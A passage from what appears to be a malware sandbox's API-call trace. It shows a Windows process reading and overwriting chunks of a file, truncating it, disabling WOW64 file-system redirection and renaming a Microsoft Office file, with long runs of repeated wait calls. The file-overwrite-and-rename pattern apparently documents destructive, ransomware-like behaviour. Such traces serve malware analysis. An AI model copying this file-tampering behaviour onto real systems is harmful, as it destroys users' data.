out: lpNewFilePointer=0x0) returned 1 [0114.460] ReadFile (in: hFile=0x2c8, lpBuffer=0x3609058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339f89c, lpOverlapped=0x0 | out: lpBuffer=0x3609058*, lpNumberOfBytesRead=0x339f89c*=0x40000, lpOverlapped=0x0) returned 1 [0114.464] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x2f3000, lpNewFilePointer=0x0, dwMoveMethod=0x339f890 | out: lpNewFilePointer=0x0) returned 1 [0114.464] ReadFile (in: hFile=0x2c8, lpBuffer=0x3649058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339f89c, lpOverlapped=0x0 | out: lpBuffer=0x3649058*, lpNumberOfBytesRead=0x339f89c*=0x40000, lpOverlapped=0x0) returned 1 [0114.477] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x899000, lpNewFilePointer=0x0, dwMoveMethod=0x339f890 | out: lpNewFilePointer=0x0) returned 1 [0114.478] ReadFile (in: hFile=0x2c8, lpBuffer=0x3689058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339f89c, lpOverlapped=0x0 | out: lpBuffer=0x3689058*, lpNumberOfBytesRead=0x339f89c*=0x40000, lpOverlapped=0x0) returned 1 [0114.533] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fa00 | out: lpNewFilePointer=0x0) returned 1 [0114.534] WriteFile (in: hFile=0x2c8, lpBuffer=0x3609020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x339f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3609020*, lpNumberOfBytesWritten=0x339f9f8*=0xc0112, lpOverlapped=0x0) returned 1 [0114.821] SetEndOfFile (hFile=0x2c8) returned 1 [0114.822] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x899000, lpNewFilePointer=0x0, dwMoveMethod=0x339f898 | out: lpNewFilePointer=0x0) returned 1 [0114.822] WriteFile (in: hFile=0x2c8, lpBuffer=0x36c914a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339f8a4, lpOverlapped=0x0 | out: lpBuffer=0x36c914a*, lpNumberOfBytesWritten=0x339f8a4*=0x40000, lpOverlapped=0x0) returned 1 [0114.826] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x2f3000, lpNewFilePointer=0x0, dwMoveMethod=0x339f898 | out: lpNewFilePointer=0x0) returned 1 [0114.826] WriteFile (in: hFile=0x2c8, lpBuffer=0x36c914a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339f8a4, lpOverlapped=0x0 | out: lpBuffer=0x36c914a*, lpNumberOfBytesWritten=0x339f8a4*=0x40000, lpOverlapped=0x0) returned 1 [0114.830] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339f898 | out: lpNewFilePointer=0x0) returned 1 [0114.830] WriteFile (in: hFile=0x2c8, lpBuffer=0x36c914a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x339f8a4, lpOverlapped=0x0 | out: lpBuffer=0x36c914a*, lpNumberOfBytesWritten=0x339f8a4*=0x40000, lpOverlapped=0x0) returned 1 [0114.832] CloseHandle (hObject=0x2c8) Thread: id = 26 os_tid = 0x1020 [0088.223] GetProcessHeap () returned 0xc00000 [0088.223] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3720048 [0088.225] GetProcessHeap () returned 0xc00000 [0088.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3730050 [0088.225] GetProcessHeap () returned 0xc00000 [0088.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc2b980 [0088.225] GetProcessHeap () returned 0xc00000 [0088.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x110102) returned 0x3822020 [0088.229] GetProcessHeap () returned 0xc00000 [0088.229] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25510 [0088.229] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.229] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.230] Wow64DisableWow64FsRedirection (in: OldValue=0x34df964 | out: OldValue=0x34df964*=0x0) returned 1 [0088.230] GetProcessHeap () returned 0xc00000 [0088.230] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25510 | out: hHeap=0xc00000) returned 1 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.230] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.231] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.233] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.234] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.236] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.237] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.238] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.239] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.240] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.242] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.244] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.246] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.247] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.247] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.247] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.249] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.251] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.252] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.254] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0112.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 